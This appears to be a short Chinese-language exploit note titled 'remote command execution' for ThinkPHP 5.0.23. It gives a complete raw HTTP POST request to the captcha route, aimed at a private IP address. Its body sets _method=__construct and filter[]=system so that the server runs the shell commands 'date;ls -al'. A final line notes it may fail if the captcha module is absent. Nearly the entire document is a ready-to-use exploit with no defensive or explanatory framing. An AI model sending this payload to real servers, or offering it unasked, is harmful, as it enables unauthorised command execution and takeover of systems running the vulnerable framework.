远程命令可执行
POST /thinkphp_5.0.23/public/index.php?s=captcha HTTP/1.1
Host: 192.168.170.186
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3670.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=date;ls -al
不一定能成功 比如提示没有 captcha模块。